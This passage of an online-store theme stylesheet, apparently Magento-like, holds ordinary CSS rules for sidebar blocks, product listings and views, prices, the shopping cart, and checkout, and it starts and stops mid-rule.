padding:0; margin:0 0 5px; } .block-currency .block-title strong { font:bold 13px/21px Arial, Helvetica, sans-serif; background:url(../images/i_block-currency.gif) 0 50% no-repeat; padding:0 0 0 21px; text-transform:none; color:#fff; } .block-currency .block-content { background:none; padding:0; } .block-currency .block-content select { width:100%; padding:0; } /* Block: Layered Navigation */ .block-layered-nav { border:0; } .block-layered-nav .block-title { border:0; padding:0; height:24px; background:url(../images/bkg_block-layered-title.gif) 0 0 no-repeat; text-indent:-999em; overflow:hidden; } .block-layered-nav .block-subtitle { line-height:1.35; background:#d5e8ff url(../images/bkg_block-layered1.gif) 0 50% repeat; padding:3px 9px; border:1px solid #b9ccdd; border-width:1px 0; text-transform:uppercase; color:#1f5070; } .block-layered-nav .block-content { border:1px solid #a0b3c3; background:#e7f1f4; } .block-layered-nav dt { background:url(../images/bkg_block-layered-dt.gif) 9px 11px no-repeat; padding:7px 10px 0 28px; font-weight:bold; text-transform:uppercase; } .block-layered-nav dd { padding:0 12px 12px; background:url(../images/bkg_block-layered-dd.gif) 0 100% repeat-x; } .block-layered-nav dd.last { background:none; } .block-layered-nav .currently li { background:#fff url(../images/bkg_block-layered-li.gif) 0 100% repeat-x; padding:4px 6px 4px 10px; } .block-layered-nav .currently .label { font-weight:bold; padding-left:18px; background:url(../images/bkg_block-layered-label.gif) 0 3px no-repeat; text-transform:uppercase; } .block-layered-nav .currently .btn-remove { margin:3px 0 0; } .block-layered-nav .actions { font-size:11px; padding:4px 9px; background:#cad6e4; border:1px solid #dee5e8; border-width:1px 0; text-align:right; } .block-layered-nav .actions a { float:none; } /* Block: Cart */ .block-cart .block-title { /*border-bottom:0;*/ } .block-cart .block-title strong { background-image:url(../images/i_block-cart.gif); } .block-cart .summary { background:#fff; padding:2px 8px 8px; margin:-1px 0 0; position:relative; z-index:1; } .block-cart .amount { margin:0; } .block-cart .amount a { font-weight:bold; } .block-cart .subtotal { margin:5px 0 0; padding:2px 0; background:#fbebd9; text-align:center; } .block-cart .subtotal .price { font-weight:bold; } .block-cart .actions { border-bottom:1px solid #c2c2c2; } .block-cart .actions .paypal-logo { float:left; width:100%; margin:3px 0 0; text-align:right; } .block-cart .actions .paypal-logo .paypal-or { clear:both; display:block; padding:0 55px 8px 0; } /* Block: Wishlist */ .block-wishlist .block-title strong { background-image:url(../images/i_block-wishlist.gif); } .block-wishlist .actions { text-align:right; } .block-wishlist .actions a { float:none; } /* Block: Related */ .block-related .block-title strong { background-image:url(../images/i_block-related.gif); background-position:0 1px; } .block-related input.checkbox { float:left; } .block-related .product { margin-left:20px; } /* Block: Compare Products */ .block-compare .block-title strong { background-image:url(../images/i_block-list.gif); background-position:0 1px; } .block-compare button.button span { border-color:#406a83; background:#618499; } .page-popup .link-print { background:url(../images/i_print.gif) 0 2px no-repeat; padding:2px 0 2px 25px; font-weight:bold; color:#1e7ec8; } .compare-table { border:0; } .compare-table thead tr.first th, .compare-table thead tr.first td { border:0; background:none; padding:0; font-size:0; line-height:0; } .compare-table .btn-remove { float:right; background-image:url(../images/btn_remove2.gif); width:72px; height:15px; } .compare-table tbody th { background:#d9e5ee url(../images/bkg_th-v.gif) 100% 0 repeat-y; } .compare-table tbody th, .compare-table tbody td { padding:10px; border:0; border-top:1px solid #ccc; border-left:1px solid #ccc; } .compare-table tbody td.last { border-right:1px solid #ccc; } .compare-table tbody tr.last th, .compare-table tbody tr.last td { border-bottom:1px solid #ccc !important; } .compare-table tr.add-to-row td { background:#fffada; text-align:center; } .compare-table tr.first td { text-align:center; } .compare-table tr.first td .product-name { font-size:13px; font-weight:bold; margin:0 0 5px; color:#203548; } .compare-table tr.first td .product-name a { color:#203548; } .compare-table tr.first td .ratings { width:69px; margin:0 auto; } .compare-table tr.first td p, .compare-table tr.add-to-row td p { margin:0; } /* Block: Recently Viewed */ .block-viewed .block-title strong { background-image:url(../images/i_block-viewed.gif); } /* Block: Recently Compared */ .block-compared .block-title strong { background-image:url(../images/i_block-list.gif); background-position:0 1px; } /* Block: Poll */ .block-poll .block-title strong { background-image:url(../images/i_block-poll.gif); } .block-poll .block-subtitle { font-size:12px; } .block-poll label { color:#777; font-weight:bold; } .block-poll input.radio { float:left; margin:1px -18px 0 0; } .block-poll .label { display:block; margin-left:18px; } .block-poll li { padding:3px 9px; } .block-poll .actions { margin:5px 0 0; } .block-poll button.button span { border-color:#406a83; background:#618499; } .block-poll .answer { font-weight:bold; } .block-poll .votes { float:right; margin-left:10px; } /* Block: Tags */ .block-tags .block-title strong { background-image:url(../images/i_block-tags.gif); } .block-tags .block-content .tags-list { background:none; border:0; font-size:12px; } .block-tags .block-content a { color:#1b2d3b; } .block-tags .actions { text-align:right; } .block-tags .actions a { float:none; } /* Block: Subscribe */ .block-subscribe .block-content { padding:5px 10px; } .block-subscribe .block-title strong { background-image:url(../images/i_block-subscribe.gif); } .block-subscribe label { font-weight:bold; color:#666; } .block-subscribe input.input-text { display:block; width:167px; margin:3px 0; } .block-subscribe .actions { background:none; padding:0; margin:3px 0 0; text-align:left; } .block-subscribe .actions button.button { float:none; } .block-subscribe .actions button.button span { border-color:#406a83; background:#618499; } /* Block: Reorder */ .block-reorder .block-title strong { background-image:url(../images/i_block-list.gif); } .block-reorder input.checkbox { float:left; margin:2px -20px 0 0; } .block-reorder .product-name { margin-left:20px; } .block-reorder .validation-advice { margin:3px 9px 7px; } /* Block: Banner */ .block-banner { border:0; } .block-banner .block-content { padding:0; text-align:center; } /* Block: Login */ .block-login .block-title strong { background-image:url(../images/i_ma-info.gif); } .block-login .block-content { padding:5px 10px; } .block-login label { font-weight:bold; color:#666; } .block-login input.input-text { display:block; width:167px; margin:3px 0; } .block-login .actions { background:none; padding:0; margin:3px 0 0; } .block-login .actions button.button span { border-color:#406a83; background:#618499; } /* Paypal */ .sidebar .paypal-logo { display:block; margin:10px 0; text-align:center; } .sidebar .paypal-logo a { float:none; } /* ======================================================================================= */ /* Category Page ========================================================================= */ .category-title { border:0; margin:0 0 7px; } .category-image { width:100%; overflow:hidden; margin:0 0 10px; text-align:center; } .category-image img {} .category-description { margin:0 0 10px; } .category-products {} /* View Type: Grid */ .products-grid { border-bottom:1px solid #d9ddd3; background:url(../images/bkg_grid.gif) 0 0 repeat; position:relative; } .products-grid.last { border-bottom:0; } .products-grid li.item { float:left; width:138px; padding:12px 10px 80px; } .products-grid .product-image { display:block; width:135px; height:135px; margin:0 0 10px; } .products-grid .product-name { /*min-height:2.7em;*/ margin:0 0 5px; font-weight:bold; font-size:13px; color:#203548; } .products-grid .product-name a { color:#203548; } .products-grid .price-box { margin:5px 0; } .products-grid .availability { line-height:21px; } .products-grid .actions { position:absolute; bottom:12px; } .col2-left-layout .products-grid, .col2-right-layout .products-grid { width:632px; margin:0 auto; } .col1-layout .products-grid { width:790px; margin:0 auto; } /* View Type: List */ .products-list li.item { border-bottom:1px solid #d9ddd3; padding:12px 10px; } .products-list li.item.last { border-bottom:0; } .products-list .product-image { float:left; width:135px; height:135px; margin:0 0 10px; } .products-list .product-shop { margin-left:150px; } .products-list .product-name { margin:0 0 5px; font-weight:bold; font-size:13px; color:#203548; } .products-list .product-name a { color:#203548; } .products-list .price-box { float:left; margin:3px 13px 5px 0; } .products-list .availability { float:left; margin:3px 0 0; } .products-list .desc { clear:both; padding:6px 0 0; margin:0 0 15px; line-height:1.35; } .products-list .desc .link-learn { font-size:11px; } .products-list .add-to-links { clear:both; } .products-list .add-to-links li { display:inline; } .products-list .add-to-links .separator { display:inline; margin:0 2px; } /* ======================================================================================= */ /* Product View ========================================================================== */ /* Rating */ .no-rating { margin:0; } .ratings { font-size:11px; line-height:1.25; margin:7px 0; } .ratings strong { float:left; margin:1px 3px 0 0; } .ratings .rating-links { margin:0; } .ratings .rating-links .separator { margin:0 2px; } .ratings dt {} .ratings dd {} .rating-box { width:69px; height:13px; font-size:0; line-height:0; background:url(../images/bkg_rating.gif) 0 0 repeat-x; text-indent:-999em; overflow:hidden; } .rating-box .rating { float:left; height:13px; background:url(../images/bkg_rating.gif) 0 100% repeat-x; } .ratings .rating-box { float:left; margin-right:3px; } .ratings .amount {} .ratings-table th, .ratings-table td { font-size:11px; line-height:1.15; padding:3px 0; } .ratings-table th { font-weight:bold; padding-right:8px; } /* Availability */ .availability { margin:0; } .availability span { font-weight:bold; } .availability.in-stock span {} .availability.out-of-stock span { color:#d83820; } .availability-only { margin:10px 0 7px; line-height:16px; background:url(../images/i_availability_only.gif) 0 50% no-repeat; padding-left:15px; } .availability-only span, .availability-only a { border-bottom:1px dashed #751d02; color:#000; } .availability-only a { background:url(../images/i_availability_only_arrow.gif) 100% 0 no-repeat; cursor:pointer; padding-right:15px; text-decoration:none; } .availability-only .expanded { background-position:100% -15px; } .availability-only strong { color:#be2c00; } .availability-only-details { margin:0 0 7px; } .availability-only-details th { background:#d2d6d9; font-size:10px; padding:0 8px; } .availability-only-details td { background:#ebf0f3; border-bottom:1px solid #fff; font-size:11px; padding:2px 8px 1px; } .availability-only-details tr.odd td.last { color:#d95e00; font-weight:bold; } .product-view .product-shop .availability { font-size:11px; } .product-view .product-shop .availability span { font-weight:normal; } /* Email to a Friend */ .email-friend { margin:0; } /* Alerts */ .alert-price { margin:0; font-size:11px; } .alert-stock { margin:0; font-size:11px; } /********** < Product Prices */ .price { white-space:nowrap !important; } .price-box { margin:5px 0; } .price-box .price { font-weight:bold; color:#c76200; } /* Regular price */ .regular-price { color:#c76200; } .regular-price .price { font-weight:bold; font-size:13px; color:#c76200; } .block .regular-price, .block .regular-price .price { color:#2f2f2f; } /* Old price */ .old-price { margin:0; } .old-price .price-label { white-space:nowrap; color:#999; } .old-price .price { font-weight:bold; color:#c76200; text-decoration:line-through; } /* Special price */ .special-price { margin:0; padding:3px 0; } .special-price .price-label { font-size:13px; font-weight:bold; white-space:nowrap; color:#cd5033; } .special-price .price { font-size:13px; font-weight:bold; color:#c76200; } /* Minimal price (as low as) */ .minimal-price { margin:0; } .minimal-price .price-label { font-weight:bold; white-space:nowrap; } .minimal-price-link { display:block; } .minimal-price-link .label {color:#1e7ec8;} .minimal-price-link .price { font-weight:normal; color:#1e7ec8; } /* Excluding tax */ .price-excluding-tax { display:block; color:#999; } .price-excluding-tax .label { white-space:nowrap; color:#999; } .price-excluding-tax .price { font-size:13px; font-weight:normal; color:#c76200; } /* Including tax */ .price-including-tax { display:block; color:#999; } .price-including-tax .label { white-space:nowrap; color:#999; } .price-including-tax .price { font-size:13px; font-weight:bold; color:#c76200; } /* Configured price */ .configured-price { margin:0; } .configured-price .price-label { font-weight:bold; white-space:nowrap; } .configured-price .price { font-weight:bold; } /* FPT */ .weee { display:block; font-size:11px; color:#444; } .weee .price { font-size:11px; font-weight:normal; } /* Excl tax (for order tables) */ .price-excl-tax { display:block; } .price-excl-tax .label { display:block; white-space:nowrap; } .price-excl-tax .price { display:block; } /* Incl tax (for order tables) */ .price-incl-tax { display:block; } .price-incl-tax .label { display:block; white-space:nowrap; } .price-incl-tax .price { display:block; font-weight:bold; } /* Price range */ .price-from { margin:0; } .price-from .price-label { font-weight:bold; white-space:nowrap; } .price-to { margin:0; } .price-to .price-label { font-weight:bold; white-space:nowrap; } /* Price notice next to the options */ .price-notice { padding-left:10px; color:#999; } .price-notice .price { font-weight:bold; color:#2f2f2f; } /* Price as configured */ .price-as-configured { margin:0; } .price-as-configured .price-label { font-weight:bold; white-space:nowrap; } .price-box-bundle { padding:0 0 10px 0; } .price-box-bundle .price-box { margin:0 !important; padding:0 !important; } .price-box-bundle .price { color:#555; } /********** Product Prices > */ /* Tier Prices */ .tier-prices { margin:10px 0; padding:10px; background-color:#f4f7f7; border:1px solid #dadddd; } .tier-prices li { line-height:1.4; background:url(../images/i_tier.gif) no-repeat 0 3px; padding:2px 0 2px 10px; color:#424242; } .tier-prices .benefit { font-style:italic; font-weight:bold; color:#2f2f2f; } .tier-prices .price { font-weight:bold; color:#2f2f2f; } .tier-prices-grouped li { padding:2px 0; color:#e26703; } .tier-prices-grouped li .price { font-weight:bold; } /* Add to Links */ .add-to-links { font-size:11px; margin:5px 0 0; } .add-to-links .separator { display:none; } /* Add to Cart */ .add-to-cart label { float:left; margin-right:5px; font-weight:bold; color:#666; } .add-to-cart .qty { float:left; margin-right:5px; } .add-to-cart button.button { float:left; } .add-to-cart .paypal-logo { clear:left; margin:0; text-align:right; } .add-to-cart .paypal-logo .paypal-or { clear:both; display:block; margin:5px 60px 5px 0; } .product-view .add-to-cart .paypal-logo { margin:0; } /* Add to Links + Add to Cart */ .add-to-box { margin:10px 0; } .add-to-box .add-to-cart { float:left; } .add-to-box .or { float:left; font-weight:bold; margin:0 7px; color:#666; } .add-to-box .add-to-links { float:left; margin:0; font-size:12px !important; line-height:1.25 !important; text-align:left !important; } .add-to-box .add-to-links li { display:block !important; } .add-to-box .add-to-links li .separator { display:none !important; } .product-view { border:1px solid #c4c6c8; } .product-essential { padding:25px; background:#fff url(../images/bkg_product-view.gif) 100% 0 no-repeat; } .product-essential h2 { font:bold 13px/1.35 Arial, Helvetica, sans-serif; } .product-collateral { background:#faf7ee url(../images/bkg_product_collateral.gif) 0 0 repeat-x; padding:25px; } .product-collateral h2 { font-weight:bold; font-size:15px; color:#e26703; border-bottom:1px solid #e5dcc3; padding:0 0 1px; margin:0 0 15px; } .product-collateral .box-collateral { margin:0 0 25px; } /* Product Images */ .product-view .product-img-box { float:left; width:267px; } .col3-layout .product-view .product-img-box { float:none; margin:0 auto; } .product-view .product-img-box .product-image { margin:0 0 13px; } .product-view .product-img-box .product-image-zoom { position:relative; width:265px; height:265px; overflow:hidden; z-index:9; } .product-view .product-img-box .product-image-zoom img { position:absolute; left:0; top:0; cursor:move; } .product-view .product-img-box .zoom-notice { font-size:11px; margin:0 0 5px; text-align:center; } .product-view .product-img-box .zoom { position:relative; z-index:9; height:18px; margin:0 auto 13px; padding:0 28px; background:url(../images/slider_bg.gif) 50% 50% no-repeat; cursor:pointer; } .product-view .product-img-box .zoom.disabled { -moz-opacity:.3; -webkit-opacity:.3; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=30)";/*IE8*/ opacity:.3; } .product-view .product-img-box .zoom #track { position:relative; height:18px; } .product-view .product-img-box .zoom #handle { position:absolute; left:0; top:-1px; width:9px; height:22px; background:url(../images/magnifier_handle.gif) 0 0 no-repeat; } .product-view .product-img-box .zoom .btn-zoom-out { position:absolute; left:2px; top:0; } .product-view .product-img-box .zoom .btn-zoom-in { position:absolute; right:2px; top:0; } .product-view .product-img-box .more-views h2 { font-size:11px; border-bottom:1px solid #ccc; margin:0 0 8px; text-transform:uppercase; } .product-view .product-img-box .more-views ul { margin-left:-9px } .product-view .product-img-box .more-views li { float:left; margin:0 0 8px 9px; } .product-view .product-img-box .more-views li a { float:left; width:56px; height:56px; border:2px solid #ddd; overflow:hidden; } .product-image-popup { margin:0 auto; } .product-image-popup .buttons-set { float:right; clear:none; border:0; margin:0; padding:0; } .product-image-popup .nav { font-weight:bold; margin:0 100px; text-align:center; } .product-image-popup .image { display:block; margin:10px 0; } .product-image-popup .image-label { font-size:13px; font-weight:bold; margin:0 0 10px; color:#2f2f2f; } /* Product Shop */ .product-view .product-shop { float:right; width:330px; } .col1-layout .product-view .product-shop { float:right; width:545px; } .col3-layout .product-view .product-shop { float:none; width:auto; } .product-view .product-shop .product-name { margin:0 0 5px; } .product-view .product-shop .product-name h1 { margin:0; font:bold 15px/1.35 Arial, Helvetica, sans-serif; } .product-view .product-shop .availability { margin:10px 0; } .product-view .product-shop .short-description { margin:10px 0; background:url(../images/bkg_divider1.gif) 0 0 repeat-x; padding:10px 0 0; } .product-view .product-shop .price-box { margin:10px 0; } .product-view .product-shop .add-to-links { margin:0; } .product-view .product-shop .add-to-links { font-size:12px; text-align:right; } .product-view .product-shop .add-to-links li, .product-view .product-shop .add-to-links li .separator { display:inline; } .product-view .product-shop .add-to-links a { color:#1E7EC8 !important; font-weight:normal !important; } /* Product Options */ .product-options { margin:20px 0 0; padding:10px 15px 20px; position:relative; background-color:#f6f6f6; border:1px solid #e4e4e4; } .product-options dt { padding:10px 0 0; font-weight:normal; } .product-options dt label { font-weight:bold; color:#2f2f2f; } .product-options dt label.required em { color:#eb340a; margin-left:5px; } .product-options dd .qty-holder { display:block; padding:10px 0 0; } .product-options dd .qty-holder label { vertical-align:middle; } .product-options dt .qty-disabled { background:none; border:0; padding:3px; color:#2f2f2f; } .product-options dd { padding:5px 10px 15px; margin:0 0 5px; border-bottom:1px solid #e4e4e4; } .product-options dl.last dd.last { border-bottom:0; padding-bottom:5px; margin-bottom:0; } .product-options dd input.input-text { width:98%; } .product-options dd input.datetime-picker { width:150px; } .product-options dd .time-picker { display:-moz-inline-box; display:inline-block; padding:2px 0; vertical-align:middle; } .product-options dd textarea { width:98%; height:8em; } .product-options dd select { width:99%; } .product-options dd .multiselect option { border-bottom:1px dotted #d9e5ee; padding:2px 4px; } .product-options ul.options-list { margin-right:5px; } .product-options ul.options-list li { line-height:1.5; padding:2px 0; } .product-options ul.options-list input.radio { float:left; margin-top:3px; } .product-options ul.options-list input.checkbox { float:left; margin-top:3px; } .product-options ul.options-list .label { display:block; margin-left:18px; } .product-options ul.options-list label { font-weight:normal; } .product-options ul.validation-failed { padding:0 7px; } .product-options p.note { margin:0; font-size:11px; } .product-options p.required { position:absolute; right:20px; top:20px; } .product-options-bottom { background-color:#fffada; padding:15px 20px; border:1px solid #e4e4e4; border-top:0; } .product-options-bottom .tier-prices { margin:0; padding:0 0 10px; border:0; background:0; } .product-options-bottom .tier-prices li { background:0; padding:2px 0; color:#e26703; } .product-options-bottom .tier-prices .price, .product-options-bottom .tier-prices .benefit { color:#e26703; } .product-options-bottom .price-box { float:left; margin:0; padding:0; } .product-options-bottom .add-to-links { clear:both; padding:5px 0 0; text-align:right; } .col3-layout .product-options-bottom .price-box { float:none; padding:0 0 5px; } .product-options-bottom .price-label { float:left; padding-right:5px; } .product-options-bottom .price-tax { float:left; } .product-options-bottom .add-to-cart { float:right; } .product-shop .product-options-bottom { margin:0 0 10px; } .product-shop .product-options-bottom .price-box { float:none; margin:0 0 5px; } .product-shop .product-options-bottom .price-label { float:none; padding-right:0; } .product-shop .product-options-bottom .price-tax { float:none; } .product-shop .product-options-bottom .add-to-cart-box { clear:both; float:left; padding-top:12px; } .product-shop .product-options-bottom .add-to-links { clear:both; padding:5px 0 0; text-align:right; } /* Grouped Product */ .product-view .grouped-items-table .price-box { margin:0; padding:0; } /* Block: Description */ .product-view .box-description {} /* Block: Additional */ .product-view .box-additional .data-table th, .product-view .box-additional .data-table td { line-height:1.25; } /* Block: Upsell */ .product-view .box-up-sell h2 { border-bottom:0; padding:0; margin:0 0 8px; } .product-view .box-up-sell .products-grid { width:100%; border:1px solid #e5dcc3; } .product-view .box-up-sell .products-grid td { width:25%; background:#f6f2e7; border-right:1px solid #e5dcc3; border-bottom:1px solid #e5dcc3; padding:15px 10px 12px; line-height:1.6em; } .product-view .box-up-sell .products-grid tr.last td { border-bottom:0; } .product-view .box-up-sell .products-grid td.last { border-right:0; } .product-view .box-up-sell .products-grid td img { border:1px solid #e5dcc3; } .product-view .box-up-sell .products-grid .product-image { text-align:center; } .product-view .box-up-sell .products-grid td.empty { border-right:0; background:#f1ecdb; } .product-view .box-up-sell .products-grid .ratings .rating-box { float:none; display:block; margin:0 0 3px; } /* Block: Tags */ .product-view .box-tags { margin:0; } .product-view .box-tags h3 { font-size:13px; } .product-view .box-tags .product-tags { display:block; margin:0 0 15px; } .product-view .box-tags .product-tags li { display:inline; background:url(../images/bkg_pipe3.gif) 100% 4px no-repeat; padding:0 7px 0 4px; } .product-view .box-tags .product-tags li.first { padding-left:0; } .product-view .box-tags .product-tags li.last { background:none; padding-right:0; } .product-view .box-tags .form-add label { display:block; font-size:13px; font-weight:bold; margin:0 0 5px; color:#0a263c;} .product-view .box-tags .form-add .input-box { float:left; width:305px; margin:0 5px 0 0; background:url(../images/i_tag_add.gif) 0 2px no-repeat; padding:0 0 0 23px; } .product-view .box-tags .form-add input.input-text { width:299px; } .product-view .box-tags .form-add button.button span { border-color:#406a83; background:#618499; } .product-view .box-tags .note { margin:3px 0 0; padding:0 0 0 23px; font-size:11px; } /* Block: Reviews */ .product-view .box-reviews dl { margin:15px 0; } .product-view .box-reviews dt a, .product-view .box-reviews dt span { font-weight:bold; } .product-view .box-reviews dd { margin:0 0 15px; } .product-view .box-reviews dd small { font-style:italic; } .product-view .box-reviews .form-add { margin:15px 0 0; } .product-view .box-reviews .form-add h3 { font-size:13px; font-weight:normal; } .product-view .box-reviews .form-add h3 span { font-weight:bold; } .product-view .box-reviews .form-add h4 { font-size:12px; } .product-view .box-reviews .form-add .data-table td { text-align:center; } .product-view .box-reviews .form-add .form-list { margin:15px 0 0; } .product-view .box-reviews .form-add .form-list .input-box { width:360px; } .product-view .box-reviews .form-add .form-list input.input-text, .product-view .box-reviews .form-add .form-list textarea { width:354px; } /* Send a Friend */ .send-friend .form-list { width:615px; overflow:hidden; } .send-friend .form-list li { margin-right:-15px; } .send-friend .form-list li p { margin:0 15px 0 0; } .send-friend .form-list .field { width:315px; } .send-friend .form-list .input-box { width:300px; } .send-friend .form-list input.input-text, .send-friend .form-list textarea { width:294px; } .send-friend .form-list li.wide .input-box { width:612px; } .send-friend .form-list li.wide textarea { width:609px; } .send-friend .buttons-set .limit { float:right; margin:0 7px 0 0; font-size:11px; line-height:21px; } /* ======================================================================================= */ /* Content Styles ================================================================= */ .product-name { margin:0; font-size:1em; font-weight:normal; } .product-name a { color:#1e7ec8; } /* Product Tags */ .tags-list { display:block; font-size:13px; border:1px solid #c1c4bc; background:#f8f7f5; padding:10px; } .tags-list li { display:inline !important; margin:0 4px 0 0; } .tags-list li a { color:#1b2d3b; } /* Advanced Search */ .advanced-search .form-list label { width:160px; padding-right:10px; } .advanced-search .form-list .input-box, .advanced-search .form-list .input-range { float:left; clear:none; } .advanced-search-amount { margin:0 0 10px; } .advanced-search-summary { margin:10px 0; border:1px solid #e9d7c9; background:#fff6f1; padding:10px; } .advanced-search-summary ul { float:left; width:49%; } .advanced-search-summary strong { color:#E17C24; padding-left:15px; background:url(../images/i_search_criteria.gif) 0 3px no-repeat; } .advanced-search-summary p { clear:both; font-weight:bold; margin:0; } /* CMS Home Page */ .cms-home .subtitle {} .cms-index-index .subtitle {} /* Sitemap */ .page-sitemap .links { text-align:right; margin:0 8px -22px 0; } .page-sitemap .links a { text-decoration:none; position:relative; } .page-sitemap .links a:hover { text-decoration:underline; } .page-sitemap .sitemap { margin:12px; } .page-sitemap .sitemap a { color:#1b2d3b; } .page-sitemap .sitemap li { margin:3px 0; } .page-sitemap .sitemap li.level-0 { margin:10px 0 0; font-weight:bold; } .page-sitemap .sitemap li.level-0 a { color:#1e7ec8; } /* RSS */ .rss-title h1 { background:url(../images/i_rss-big.png) 0 4px no-repeat; padding-left:27px; } .rss-table .link-rss { display:block; line-height:1.55; background-position:0 4px; } /* ======================================================================================= */ /* Shopping Cart ========================================================================= */ .cart .page-title { border-bottom:0; margin:0 0 12px; } .cart .page-title h1 { margin:10px 0 0; } /* Checkout Types */ .cart .page-title .checkout-types li { margin:0 0 5px; } .cart .title-buttons .checkout-types { float:right; } .cart .title-buttons .checkout-types li { float:left; margin:0 0 5px 5px; } .cart .checkout-types .paypal-or { margin:0 8px; line-height:2.3; } .cart .totals .checkout-types .paypal-or { clear:both; display:block; padding:8px 55px 0 0; line-height:1.0; font-size:11px; } /* Shopping Cart Table */ .cart-table th { padding:2px 10px; } .cart-table td { padding:10px; } .cart-table .product-name { font-weight:bold; margin:0 0 5px; color:#2f2f2f; } .cart-table .item-msg { margin:5px 0; font-size:11px; font-weight:bold; color:#df280a; } .cart-table tfoot td { padding:5px 10px; } .cart-table .btn-continue { float:left; } .cart-table .btn-continue span, .cart-table .btn-update span { border-color:#406a83; background:#618499; } /* Shopping Cart Collateral boxes */ .cart .cart-collaterals { padding:25px 0 0; } .cart .cart-collaterals .col2-set { float:left; width:605px; } .cart .cart-collaterals .col2-set .col-2 { width:294px; } .cart .crosssell { border:1px solid #cec3b6; background:#fafaec; padding:12px 15px; } .cart .crosssell h2 { font-size:13px; font-weight:bold; } .cart .crosssell .product-image { float:left; width:75px; height:75px; border:1px solid #d0cdc9; } .cart .crosssell .product-details { margin-left:90px; } .cart .crosssell .product-name { font-weight:bold; } .cart .crosssell li.item { margin:12px 0; } .cart .crosssell .link-compare { font-weight:normal; } /* Discount Codes & Estimate Shipping and Tax Boxes */ .cart .discount, .cart .shipping { border:1px solid #d0cbc1; background:#fff url(../images/bkg_block-title.gif) 0 0 repeat-x; padding:12px 15px; margin:0 0 18px; } .cart .discount h2, .cart .shipping h2 { background-position:0 0; background-repeat:no-repeat; font:bold 13px/16px Arial, Helvetica, sans-serif; padding:0 0 0 21px; color:#e26703; text-transform:uppercase; } .cart .discount button span, .cart .shipping button span { border-color:#406a83; background:#618499; } .cart .discount .buttons-set, .cart .shipping .buttons-set { margin:10px 0 0; border:0; padding:0; text-align:left; } .cart .discount .buttons-set button.button, .cart .shipping .buttons-set button.button { float:none; margin-left:0; } .cart .discount h2 { background-image:url(../images/i_discount.gif); } .cart .discount .input-box { margin:8px 0 0; width:260px; } .cart .discount input.input-text { width:254px; } .cart .shipping h2 { background-image:url(../images/i_shipping.gif); } .cart .shipping .sp-methods { margin:10px 0 0; padding:5px 0 0; background:url(../images/bkg_divider1.gif) 0 0 repeat-x; } /* Shopping Cart Totals */ .cart .totals { float:right; width:268px; background:#dee5e8; border:1px solid #bebcb7; } .cart .totals table { width:100%; margin:7px 0; } .cart .totals td { padding:1px 15px 1px 7px; } .cart .totals tr.last td {} .cart .totals tfoot th { padding:5px 15px 5px 7px; } .cart .totals tfoot td { padding-top:5px; padding-bottom:5px; } .cart .totals tfoot th strong, .cart .totals tfoot td strong { font-size:15px; } .cart .totals .checkout-types { font-size:13px; padding:8px 15px 15px; text-align:right; } .cart .totals .checkout-types li { clear:both; margin:10px 0; } /* Options Tool Tip */ .item-options dt { font-weight:bold; font-style:italic; } .item-options dd { padding-left:10px; margin:0 0 6px; } .truncated { cursor:help; } .truncated a.dots { cursor:help; } .truncated a.details { cursor:help; } .truncated .truncated_full_value { position:relative; z-index:999; } .truncated .truncated_full_value dl { position:absolute; top:-99999em; left:-99999em; z-index:999; width:250px; padding:8px; border:1px solid #ddd; background-color:#f6f6f6; } .truncated .show dl { top:-20px; left:50%; } .col-left .truncated .show dl { left:15px; top:7px; } .col-right .truncated .show dl { left:-240px; top:7px; } /* ======================================================================================= */ /* Checkout ============================================================================== */ /********** < Common Checkout Styles */ /* Shipping and Payment methods */ .sp-methods { margin:0 0 8px; } .sp-methods dt { margin:13px 0 5px; font-weight:bold; } .sp-methods dd {} .sp-methods dd li { margin:5px 0; } .sp-methods label { font-weight:bold; color:#666; } .sp-methods .price { font-weight:bold; } .sp-methods .form-list { padding-left:20px; } .sp-methods .form-list li { margin:0 0 8px; } .sp-methods select.month { width:154px; margin-right:10px; } .sp-methods select.year { width:96px; } .sp-methods input.cvv { width:3em !important; } .sp-methods .checkmo-list li { margin:0 0 5px; } .sp-methods .checkmo-list label { width:135px; padding-right:10px; text-align:right; } .sp-methods .checkmo-list address { float:left; } .sp-methods .centinel-logos a { margin-right:3px; } .sp-methods .centinel-logos img { vertical-align:middle; } .sp-methods .release-amounts { margin:0.5em 0; } .sp-methods .release-amounts button { float:left; margin:5px 10px 0 0; } .please-wait { float:right; } .please-wait img { vertical-align:middle; } .cvv-what-is-this { font-size:11px; cursor:help; margin-left:10px; } /* Tooltip */ .tool-tip { border:1px solid #7BA7C9; background:#EAF6FF; padding:15px 20px; position:absolute; z-index:9999; } .tool-tip .btn-close { margin:-9px -14px 0; text-align:right; } .tool-tip .btn-close a { display:block; margin:0 0 0 auto; width:15px; height:15px; background:url(../images/btn_window_close.gif) 100% 0 no-repeat; text-align:left; text-indent:-999em; overflow:hidden; } .tool-tip .tool-tip-content { padding:5px; } /* Gift Messages */ .gift-messages h3 { font-size:12px; font-weight:bold; color:#e87403; } .gift-messages p.control { color:#8e8d8b; } .gift-messages-form { position:relative; } .gift-messages-form label { float:none !important; position:static !important; } .gift-messages-form h4 { font-size:12px; font-weight:bold; color:#e87403; } .gift-messages-form .whole-order { margin:0 0 25px; } .gift-messages-form .item { margin:0 0 10px; } .gift-messages-form .item .product-img-box { float:left; width:75px; } .gift-messages-form .item .product-image { margin:0 0 7px; } .gift-messages-form .item .number { margin:0; font-weight:bold; text-align:center; color:#8a8987; } .gift-messages-form .item .details { margin-left:90px; } .gift-messages-form .item .details .product-name { font-size:13px; font-weight:bold; margin:0 0 10px; } .gift-messages-form .item .details .form-list .field { width:255px; } .gift-messages-form .item .details .form-list .input-box { width:240px; } .gift-messages-form .item .details .form-list input.input-text { width:234px; } .gift-messages-form .item .details .form-list li.wide .input-box { width:500px; } .gift-messages-form .item .details .form-list li.wide textarea { width:494px; } .gift-message-link { font-size:11px; background:url(../images/bkg_collapse-gm.gif) 100% 6px no-repeat; padding-right:7px; } .gift-message-link.expanded { background-position:100% -40px; } .gift-message-row { background:#f2efe9; } .gift-message-row .btn-close { float:right; width:16px; height:16px; background:url(../images/btn_gm-close.gif) 0 0 no-repeat; font-size:0; line-height:0; text-indent:-999em; overflow:hidden; } /* Checkout Agreements */ .checkout-agreements li { margin:30px 0; } .checkout-agreements .agreement-content { overflow:auto; height:12em; padding:10px; background-color:#fbfaf6; border:1px solid #bbb6a5; } .checkout-agreements .agree { margin:0; padding:10px 0 10px 11px; } .checkout-agreements .agree input.checkbox { margin-right:6px; } .checkout-agreements .agree label { font-weight:bold; color:#666; } .opc .checkout-agreements { border:1px solid 